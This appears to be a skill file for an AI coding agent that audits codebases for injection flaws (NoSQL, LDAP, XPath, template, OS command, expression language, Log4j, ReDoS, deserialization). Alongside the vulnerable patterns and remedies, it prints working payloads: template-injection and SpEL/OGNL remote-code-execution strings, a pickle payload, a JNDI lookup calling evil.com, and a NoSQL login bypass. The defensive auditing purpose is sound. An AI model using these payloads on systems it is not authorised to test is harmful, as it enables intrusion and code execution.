with one click
perseus-injection
// Deep-dive injection vulnerability analysis (NoSQL, LDAP, XPath, Template, OS Command, Expression Language)
// Deep-dive injection vulnerability analysis (NoSQL, LDAP, XPath, Template, OS Command, Expression Language)
[HINT] Download the complete skill directory including SKILL.md and all related files
| name | perseus-injection |
| description | Deep-dive injection vulnerability analysis (NoSQL, LDAP, XPath, Template, OS Command, Expression Language) |
IMPORTANT: This skill performs deep injection vulnerability analysis on the user's own codebase. This is defensive security testing to find injection flaws before attackers do.
Authorization: The user owns this codebase and has explicitly requested this specialized analysis.
| Language | Frameworks & ORMs |
|---|---|
| JavaScript/TypeScript | Mongoose, Prisma, TypeORM, Sequelize, EJS, Pug, Nunjucks, Handlebars |
| Go | mongo-driver, go-ldap, html/template, text/template |
| PHP | Laravel Eloquent, Doctrine, Blade, Twig, Symfony |
| Python | PyMongo, Motor, SQLAlchemy, Jinja2, Mako, Django Templates |
| Rust | mongodb, askama, tera, handlebars-rust |
| Java | Spring Data, Hibernate, Freemarker, Velocity, Thymeleaf, OGNL, SpEL |
| Ruby | Mongoid, ERB, Slim, Haml |
| C# | MongoDB.Driver, Razor, Entity Framework |
This specialist skill performs comprehensive injection analysis beyond basic SQLi/XSS, covering advanced injection vectors often missed by standard scans.
When to Use: After /audit identifies potential injection points, or when the application uses NoSQL, LDAP, XML, or template engines.
Goal: Find all injection vectors including less common but equally dangerous ones.
| Mode | Specialist Behavior |
|---|---|
PRODUCTION_SAFE | Source-to-sink proofing and non-invasive validation only |
STAGING_ACTIVE | Targeted active verification with strict attempt caps |
LAB_FULL | Full dynamic validation across injection families |
LAB_RED_TEAM | Multi-step chain simulation in isolated lab only |
deliverables/engagement_profile.md before active verification.PRODUCTION_SAFE.| Type | Sinks | Impact |
|---|---|---|
| NoSQL Injection | MongoDB, Redis, Elasticsearch, DynamoDB | Data exfiltration, auth bypass |
| LDAP Injection | LDAP queries, directory lookups | Auth bypass, info disclosure |
| XPath Injection | XML queries | Data extraction |
| Template Injection (SSTI) | All template engines | RCE |
| OS Command Injection | Shell execution | RCE |
| Expression Language | EL, SpEL, OGNL, CEL | RCE |
| Header Injection | HTTP headers, emails | Response splitting, phishing |
| Log Injection | Log4j, logging frameworks | Log forging, RCE (Log4Shell) |
deliverables/engagement_profile.md.deliverables/verification_scope.md when present.PRODUCTION_SAFE, validate via minimal indicators and bounded retries.MongoDB Injection Analyst:
Language-Specific Patterns:
// Node.js/Mongoose - VULNERABLE
User.findOne({ username: req.body.username, password: req.body.password });
// Attack: { "password": { "$ne": "" } }
// Go/mongo-driver - VULNERABLE
filter := bson.M{"username": username, "password": password}
collection.FindOne(ctx, filter)
// PHP/MongoDB - VULNERABLE
$collection->findOne(['username' => $_POST['username']]);
# Python/PyMongo - VULNERABLE
db.users.find_one({"username": request.json["username"]})
// Rust/mongodb - VULNERABLE
let filter = doc! { "username": &username };
collection.find_one(filter, None).await?;
// Java/Spring Data MongoDB - VULNERABLE
Query query = new Query(Criteria.where("username").is(username));
Redis Injection Analyst:
Patterns:
// Node.js - VULNERABLE
redis.eval(`return redis.call('get', '${userInput}')`, 0);
// Go - VULNERABLE
rdb.Eval(ctx, script, []string{userKey})
# Python - VULNERABLE
r.eval(f"return redis.call('get', '{key}')", 0)
Elasticsearch/DynamoDB Analyst:
LDAP Injection Analyst:
Language-Specific Patterns:
// Java - VULNERABLE
String filter = "(uid=" + username + ")";
ctx.search(base, filter, controls);
# Python/ldap3 - VULNERABLE
conn.search(base, f'(uid={username})')
// Go/go-ldap - VULNERABLE
filter := fmt.Sprintf("(uid=%s)", username)
l.Search(ldap.NewSearchRequest(base, ldap.ScopeWholeSubtree, filter))
// PHP - VULNERABLE
ldap_search($conn, $base, "(uid=$username)");
XPath Injection Analyst:
Patterns:
// Java - VULNERABLE
String xpath = "//user[@name='" + username + "']";
XPath.evaluate(xpath, document);
# Python/lxml - VULNERABLE
tree.xpath(f"//user[@name='{username}']")
Python Template Analyst (Jinja2, Mako, Django):
Patterns:
# Jinja2 - VULNERABLE
Template(user_input).render()
# Test: {{7*7}} -> 49
# RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Mako - VULNERABLE
Template(user_input).render()
# Test: ${7*7} -> 49
# Django - VULNERABLE (if user controls template)
Template(user_input).render(Context())
Java Template Analyst (Freemarker, Velocity, Thymeleaf):
Patterns:
// Freemarker - VULNERABLE
Template t = new Template("name", new StringReader(userInput), cfg);
// Test: ${7*7} -> 49
// RCE: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
// Velocity - VULNERABLE
Velocity.evaluate(context, writer, "tag", userInput);
// Test: #set($x=7*7)$x -> 49
// Thymeleaf - VULNERABLE (with preprocessing)
// Test: __${7*7}__ -> 49
JavaScript Template Analyst (EJS, Pug, Nunjucks):
Patterns:
// EJS - VULNERABLE
ejs.render(userInput, data);
// Test: <%= 7*7 %> -> 49
// RCE: <%= process.mainModule.require('child_process').execSync('id') %>
// Pug - VULNERABLE
pug.render(userInput);
// Nunjucks - VULNERABLE
nunjucks.renderString(userInput, data);
Go/Rust/PHP Template Analyst:
Patterns:
// Go text/template - VULNERABLE (if user controls template)
t, _ := template.New("t").Parse(userInput)
// Go html/template auto-escapes HTML but not all contexts
// Rust/Tera - Check for user-controlled templates
Tera::one_off(&user_input, &context, true)?;
// PHP/Twig - VULNERABLE
$twig->createTemplate($userInput)->render();
// Blade - Check for {!! !!} (unescaped)
Shell Execution Analyst:
Language-Specific Sinks:
// Node.js - VULNERABLE
exec(`ls ${userInput}`);
execSync(`git clone ${url}`);
spawn('sh', ['-c', cmd]);
// Go - VULNERABLE
exec.Command("sh", "-c", userInput).Run()
exec.Command("bash", "-c", fmt.Sprintf("echo %s", input))
// PHP - VULNERABLE
system($cmd);
shell_exec($_GET['cmd']);
passthru($input);
proc_open($cmd, $descriptors, $pipes);
`$cmd`; // backticks
# Python - VULNERABLE
os.system(cmd)
subprocess.call(cmd, shell=True)
subprocess.Popen(cmd, shell=True)
os.popen(cmd)
// Rust - VULNERABLE
Command::new("sh").arg("-c").arg(&user_input).output()?;
// Java - VULNERABLE
Runtime.getRuntime().exec(cmd);
new ProcessBuilder("sh", "-c", cmd).start();
# Ruby - VULNERABLE
system(cmd)
`#{cmd}`
%x{#{cmd}}
exec(cmd)
Argument Injection Analyst:
Patterns:
// Argument injection - VULNERABLE
execFile('git', ['clone', userUrl]); // --upload-pack injection
execFile('curl', [userUrl]); // -o injection
Indirect Command Injection Analyst:
Java EL/SpEL/OGNL Analyst:
Patterns:
// SpEL - VULNERABLE
ExpressionParser parser = new SpelExpressionParser();
parser.parseExpression(userInput).getValue();
// RCE: T(java.lang.Runtime).getRuntime().exec('id')
// OGNL (Struts) - VULNERABLE
OgnlUtil.getValue(userInput, context, root);
// RCE: (#rt=@java.lang.Runtime@getRuntime(),#rt.exec('id'))
// EL - VULNERABLE
${userInput} in JSP/JSF
Other Expression Languages:
Log4j/Log4Shell Analyst:
Pattern:
// VULNERABLE to Log4Shell (CVE-2021-44228)
logger.info("User: " + username);
// Attack: ${jndi:ldap://evil.com/a}
Log Forging Analyst:
Patterns:
// VULNERABLE - newlines in logs
console.log(`User logged in: ${username}`);
// Attack: username = "admin\n[INFO] Admin action performed"
HTTP Header Injection Analyst:
Patterns:
// Node.js - VULNERABLE
res.setHeader('X-Custom', userInput);
// Attack: value\r\nSet-Cookie: evil=true
// Go - VULNERABLE
w.Header().Set("Location", userInput)
// PHP - VULNERABLE
header("Location: " . $_GET['url']);
Regex Pattern Analyst:
Vulnerable Patterns:
// Node.js - VULNERABLE (exponential backtracking)
const emailRegex = /^([a-zA-Z0-9]+)+@/; // Nested quantifiers
const pathRegex = /^(a+)+$/; // Classic ReDoS
const htmlRegex = /<([a-z]+)*>/; // Nested groups with *
userInput.match(emailRegex); // Can hang with crafted input
// Attack payload: "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
# Python - VULNERABLE
import re
pattern = re.compile(r'^(a+)+$')
pattern.match(user_input) # Hangs with "aaaa...!"
// Go - SAFER (RE2 engine doesn't backtrack)
// But check for regexp/syntax with PCRE features
regexp.MustCompile(`^(a+)+$`) // Still check patterns
// Java - VULNERABLE
Pattern.compile("^(a+)+$").matcher(input).matches();
// PHP - VULNERABLE
preg_match('/^(a+)+$/', $input); // Uses PCRE
Dangerous Patterns:
| Pattern | Why Dangerous |
|---|---|
(a+)+ | Nested quantifiers |
| `(a | a)+` |
(a+)* | Quantifier on quantified group |
(.*a){x} | Greedy with repetition |
(a+){2,} | Nested quantifiers |
User Input Regex Analyst:
Patterns:
// VULNERABLE - User controls regex
const pattern = new RegExp(userInput);
text.match(pattern); // ReDoS + potential RCE in some engines
// SAFE - Escape user input
const escaped = userInput.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
const pattern = new RegExp(escaped);
# VULNERABLE
re.search(user_input, text)
# SAFE
re.search(re.escape(user_input), text)
Java Deserialization Analyst:
Patterns:
// VULNERABLE - Deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // RCE if attacker controls stream
// VULNERABLE - XMLDecoder
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();
// VULNERABLE - XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);
// SAFE - Use allowlist
xstream.allowTypes(new Class[] { SafeClass.class });
Gadget Chains:
PHP Deserialization Analyst:
Patterns:
// VULNERABLE - unserialize with user input
$data = unserialize($_POST['data']); // RCE via __wakeup, __destruct
// VULNERABLE - Even with allowed_classes
$data = unserialize($input, ['allowed_classes' => ['User']]);
// User class might have dangerous magic methods
// SAFE - Use JSON
$data = json_decode($_POST['data'], true);
Magic Methods to Check:
__wakeup() - Called during unserialize__destruct() - Called when object destroyed__toString() - Called on string conversion__call() - Called on undefined methodPython Deserialization Analyst:
Patterns:
# VULNERABLE - pickle with untrusted data
import pickle
data = pickle.loads(user_input) # RCE
# VULNERABLE - yaml.load without Loader
import yaml
data = yaml.load(user_input) # RCE (PyYAML < 6.0)
# SAFE - yaml with SafeLoader
data = yaml.safe_load(user_input)
# VULNERABLE - marshal
import marshal
marshal.loads(user_input) # RCE
.NET Deserialization Analyst:
Patterns:
// VULNERABLE - BinaryFormatter
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream); // RCE
// VULNERABLE - NetDataContractSerializer
var serializer = new NetDataContractSerializer();
object obj = serializer.ReadObject(stream);
// VULNERABLE - ObjectStateFormatter
ObjectStateFormatter osf = new ObjectStateFormatter();
object obj = osf.Deserialize(input);
// VULNERABLE - LosFormatter (ViewState)
LosFormatter lf = new LosFormatter();
object obj = lf.Deserialize(input);
// SAFE - Use JSON with known types only
JsonConvert.DeserializeObject<SafeType>(input);
Gadgets:
| Injection Type | Detection Payload | Verification |
|---|---|---|
| NoSQL (MongoDB) | {"$gt": ""} | Returns all records |
| NoSQL (Redis) | \r\nSET evil 1\r\n | Key created |
| LDAP | `)(uid=))( | (uid=*` |
| XPath | ' or '1'='1 | Returns all nodes |
| SSTI (Jinja2) | {{7*7}} | Output: 49 |
| SSTI (Freemarker) | ${7*7} | Output: 49 |
| SSTI (EJS) | <%= 7*7 %> | Output: 49 |
| Command | ; sleep 5 | 5 second delay |
| SpEL | ${7*7} | Output: 49 |
| Header | \r\nX-Injected: true | New header appears |
| Log4j | ${jndi:ldap://x.x} | DNS callback |
| ReDoS | aaaaaaaaaaaaaaaaaa! | Response delay/timeout |
| Java Deser | ysoserial payload | RCE callback |
| PHP Deser | O:8:"stdClass":0:{} | Object created |
| Python Pickle | cos\nsystem\n(S'id'\ntR. | Command executed |
Create deliverables/injection_deep_analysis.md:
# Advanced Injection Analysis
## Summary
| Type | Instances Found | Vulnerable | Safe |
|------|-----------------|------------|------|
| NoSQL | X | Y | Z |
| LDAP | X | Y | Z |
| Template (SSTI) | X | Y | Z |
| Command | X | Y | Z |
| Expression | X | Y | Z |
| Log Injection | X | Y | Z |
| Header | X | Y | Z |
## Language/Framework Detected
- Primary: [e.g., Node.js/Express, Go/Gin, PHP/Laravel]
- Template Engine: [e.g., EJS, Jinja2, Blade]
- Database: [e.g., MongoDB, Redis]
## Critical Findings
### [INJ-001] MongoDB Operator Injection in Login
**Severity:** Critical
**Type:** NoSQL Injection
**Language:** Node.js/Mongoose
**Location:** `auth/login.js:34`
**Vulnerable Code:**
```javascript
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
Attack:
POST /login
{"username": "admin", "password": {"$ne": ""}}
Impact: Authentication bypass - attacker can login as any user
Remediation:
// Validate types before query
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
const user = await User.findOne({ username, password: hash(password) });
Severity: Critical
Type: Server-Side Template Injection
Language: Python/Jinja2
Location: utils/email.py:56
Vulnerable Code:
template = Template(f"Hello {user_name}, your order is ready")
Attack:
user_name = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
Impact: Remote Code Execution
| Engine | Language | Sandboxed | Risk if User-Controlled |
|---|---|---|---|
| Jinja2 | Python | No | Critical (RCE) |
| EJS | Node.js | No | Critical (RCE) |
| Freemarker | Java | Partial | Critical (RCE) |
| Blade | PHP | No | High (RCE possible) |
| html/template | Go | Yes | Low (auto-escape) |
**Next Step:** Findings feed into `/exploit` for verification.